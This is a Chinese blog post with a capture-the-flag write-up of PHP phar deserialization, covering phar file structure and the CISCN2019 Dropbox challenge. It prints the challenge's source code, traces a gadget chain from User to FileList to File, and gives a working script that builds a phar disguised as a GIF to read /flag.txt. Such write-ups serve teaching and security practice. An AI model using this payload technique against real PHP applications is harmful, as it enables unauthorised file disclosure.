phar反序列化


phar反序列化


ps:8月份因为学车好久没有更新博客了,不过拿到了驾照,nice。


前置知识:

phar文件结构:

  • 1.stub
    phar文件的表示,类似于gif文件的GIF89a,以 xxx为固定形式,前面内容可以变,点必须以__HALT__COMPILER();?>结尾。

  • 2.a mainfest describing the contents
    该部分是phar文件中被压缩的文件的一些信息,其中meta-data部分的信息会被序列化,即执行serialize()函数,而phar://就相当于对这部分的内容进行反序列化,此处也正是漏洞点所在。

  • 3.the file contents
    这部分存储的是文件的内容,在没有其它特殊要求的情况下,这里面的内容不做约束。

  • 4.a signature for verifying Phar integrity
    数字签名。放在最末。


phar反序列化使用前提条件


  • 1.phar文件可上传

  • 2.文件流操作函数如file_exists(),file_get_content(),fopne()要有可利用的魔法方法作为“跳板”。

  • 3.文件流参数可控,且phar://协议可用。

例题:[CISCN2019 华北赛区 Day1 Web1]Dropbox


老样子开头先注册,登入,发现可以上传文件,本来以为是文件上传漏洞,但不是,因为没有给出上传后的文件地址。

然后下载文件抓包,发现只要改变filename就可以任意文件下载:

通过这样获取源代码
class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>
<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

代码解释


不得不说代码量有点夸张,引用下大佬的解释:

  • 1.首先看到class.php的File类里的close方法

     public function close() {
            return file_get_contents($this->filename);  
    // 这里我们要想办法让filename=flag.txt即可以读取到flag
    // 我们还要想办法给他回显出来
  • 2.FileList的_call()方法语义,就是遍历files数组,对每一个file变量执行一次$func,然后将结果存进$results数组,接下来的_destruct函数会将FileList对象的funcs变量和results数组中的内容以HTML表格的形式输出在index.php上(我们可以知道,index.php里创建了一个FileList对象,在脚本执行完毕后触发_destruct,则会输出该用户目录下的文件信息)

    public function _call($func, $args) {
           array_push($this->funcs, $func);
           foreach ($this->files as $file) {
               $this->results[$file->name()][$func] = $file->$func();
           }
       }
    
       public function _destruct() {
           $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
           $table .= '<thead><tr>';
           foreach ($this->funcs as $func) {
               $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
           }
           $table .= '<th scope="col" class="text-center">Opt</th>';
           $table .= '</thead><tbody>';
           foreach ($this->results as $filename => $result) {
               $table .= '<tr>';
               foreach ($result as $func => $value) {
                   $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
               }
               $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">åˆ é™¤</a></td>';
               $table .= '</tr>';
           }
           echo $table;
       }
  • 3.此时我们又看到了User类的_destruct()方法;

     public function _destruct() {
            $this->db->close();
        }
    // 也就是说如果db=FileList类的实例,就变成了FileList->close();
  • 4.当执行FileList->close()时,因为FileList类中没有close()这个方法所以调用FileList->_call()从而遍历全文件找close()方法(这是因为_call()函数的语义,这里close作为call的参数传入的),找到了File->close()就执行了读取文件内容的操作file_get_contents($filename)并给他的结果返回FileList->$results,最后FileList->_destruct()方法输出了这个结果,我们即可以通过这个思路拿到flag。

  • 5.这时候我们想到phar,我们构造一个$filename=/flag.txt 。然后按照刚刚的思路就可以得到我们的flag。

  • 6.总结一下就是:
    User->_destruct => FileList->close() => FileList->_call(‘close’) => File->close(‘/flag.txt’) => $results=file_get_contents(‘flag.txt’) => FileList->_destruct() => echo $result 。

然后就是编写链子(注意只需要变量部分就行了,要不然运行会报挺多错的):

<?php
class User {
    public $db;

    public function __construct() {
        $this->db=new FileList();
    }
    
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $this->files = array(new File());
        $this->results = array();
        $this->funcs = array();
        }
}
class File {
    public $filename='/flag.txt';
}
$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha,这个随意
$phar->stopBuffering();

?>

上传后修改mimi类型为image/jpeg后通过:

然后删除,抓包添加phar://自动反序列化,程序结束自动调用user类的__destruction()打印出来


参考博客:


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录